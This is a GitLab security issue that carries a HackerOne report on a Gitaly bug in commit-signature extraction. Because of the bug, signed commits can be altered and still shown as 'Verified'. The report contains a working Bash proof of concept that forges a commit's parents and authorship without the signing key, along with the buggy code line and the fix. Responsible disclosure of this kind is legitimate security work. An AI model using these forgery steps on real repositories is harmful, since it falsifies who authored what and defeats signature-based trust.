:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #1929929](https://hackerone.com/reports/1929929)** by `lotsofloops` on 2023-04-02, assigned to @fvpotvin: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report ##### Summary Git commits are stored in a text format. For a signed commit, that normally looks like (for the initial commit in a repo without any `parent`s): ```text tree be0788944df13c5d170e050f2fe178360c3df5a5 author Author Name <a@example.com> 1678388328 -0500 committer Author Name <a@example.com> 1678388328 -0500 gpgsig -----BEGIN PGP SIGNATURE----- ... -----END PGP SIGNATURE----- Commit message ``` All of the lines before the commit message are commit headers. The `gpgsig` header (`gpgsig-sha256` for SHA256 repos) contains a commit signature. The signature is computed on all lines of the commit data, except for the `gpgsig` lines. All Git implementations place `gpgsig` at the end of the commit headers. However, Git doesn't consider commits with headers after `gpgsig` to be invalid, and correctly computes the signature on headers after the `gpgsig` header. GitLab reimplements the commit signature verification from Git. Specifically: - Gitaly implements the logic for extracting the signature and signed data from a commit - The main GitLab Rails app implements the logic for verifying that the signature is valid for the signed data This issue is with how Gitaly extracts the signature from a commit. [The `extractSignatures` function in `commit_signatures.go`](https://gitlab.com/gitlab-org/gitaly/-/blob/ac7304c0ce981bf97dca39ac1017b31860c043b5/internal/gitaly/service/commit/commit_signatures.go#L60) assumes that `gpgsig` is always the last header item, and includes everything after `gpgsig` in the signature data. So if we take a valid signed commit and add headers after the `gpgsig` we get a commit like: ```text tree be0788944df13c5d170e050f2fe178360c3df5a5 author Author Name <a@example.com> 1678388328 -0500 committer Author Name <a@example.com> 1678388328 -0500 gpgsig -----BEGIN PGP SIGNATURE----- ... -----END PGP SIGNATURE----- extra header data ignored by Gitaly! Commit message ``` The extracted signed data is ``` tree be0788944df13c5d170e050f2fe178360c3df5a5 author Author Name <a@example.com> 1678388328 -0500 committer Author Name <a@example.com> 1678388328 -0500 Commit message ``` and the extracted signature is ``` -----BEGIN PGP SIGNATURE----- ... -----END PGP SIGNATURE----- extra header data ignored by Gitaly! ``` When GitLab later verifies the signature it uses GPGME, which ignores the trailing data after `-----END PGP SIGNATURE-----`. Since the extracted signed data is the same as with the unaltered commit, this means that we have **created a new altered commit that GitLab still considers to be signed**. Git itself correctly considers a commit modified in this way to have an invalid signature: ``` $ git verify-commit [hash] gpg: Signature made Thu 30 Mar 2023 01:58:48 PM EST gpg: using RSA key [key] gpg: BAD signature from "Author Name <a@example.com>" [unknown] ``` Side note: it is possible to alter a signed commit and create a new signed commit by adding whitespace to the `gpgsig` block, and the new altered commit will be considered signed by GitLab and Git. AFAICT this isn't an issue, since it doesn't allow modifying any of the actual commit data. ##### Steps to reproduce 1. Make sure you have a [GPG key setup locally and added to your GitLab account](https://docs.gitlab.com/ee/user/project/repository/gpg_signed_commits/) 2. Create a GitLab project (don't initialize it with a README) 3. Create an initial commit using the GPG key ```bash git clone <repo> repo cd repo git commit --allow-empty --gpg-sign -m "Commit message" git push ``` 4. Allow force pushing on `master` in Settings ➜ Repository ➜ Protected branches ➜ Expand ➜ Unprotect ➜ Unprotect branch 5. Now you can create a forged commit by running this Bash. This doesn't use the GPG key - you can run this on a different system that has no access to a the GPG key from step 2, and it will still work. ```bash original_hash=$(< .git/refs/heads/master) # create parent for forged commit: git update-ref -d refs/heads/master echo "This file will appear to have been deleted" > delfile.txt git add delfile.txt git commit --no-gpg-sign -m "parent of forged commit" git push -f attack_parent_hash=$(< .git/refs/heads/master) # create forged commit: forged_hash=$(git cat-file commit $original_hash | \ # Add extra line after signature block, before body sed "/^$/i parent $attack_parent_hash" | \ git hash-object -t commit -w --stdin) # set master branch to forged commit git update-ref refs/heads/master $forged_hash git push -f git verify-commit $original_hash # -> Good signature git verify-commit $forged_hash # -> BAD signature (but GitLab considers it to be good) ``` 6. Look at the new most recent commit on GitLab. It will show as "Verified" (despite Git saying it has a `BAD signature`), and in the new forged commit the committer is shown as deleting a file that they did not actually delete. ##### Impact One can make these changes to signed commits and still have GitLab considered them signed: - Change the author name/email/date (if there are multiple author/comitter headers, GitLab uses the last one) - Change the committer date (but not email, since that must match the email on the GPG key) - Add additional commit `parent`s. Since Git computes the commit diff based on the commit parents, you can change the base used to generate the diff. One can also change the commit `encoding` and `mergetag`, but GitLab doesn't use those headers anywhere. ##### What is the current *bug* behavior? `extractSignature` ends the signature block [when it sees an empty line](https://gitlab.com/gitlab-org/gitaly/-/blob/ac7304c0ce981bf97dca39ac1017b31860c043b5/internal/gitaly/service/commit/commit_signatures.go#L85): ```go if inSignature && !bytes.Equal(line, lineBreak) { ``` ##### What is the expected *correct* behavior? `extractSignature` ends the signature block when it sees a line that does not begin with a space. ##### Relevant logs and/or screenshots  ##### Output of checks This bug happens on GitLab.com ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [image.png](https://h1.sec.gitlab.net/a/6be12b10-ef22-43e8-b828-9c07c65f39f7/image.png) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues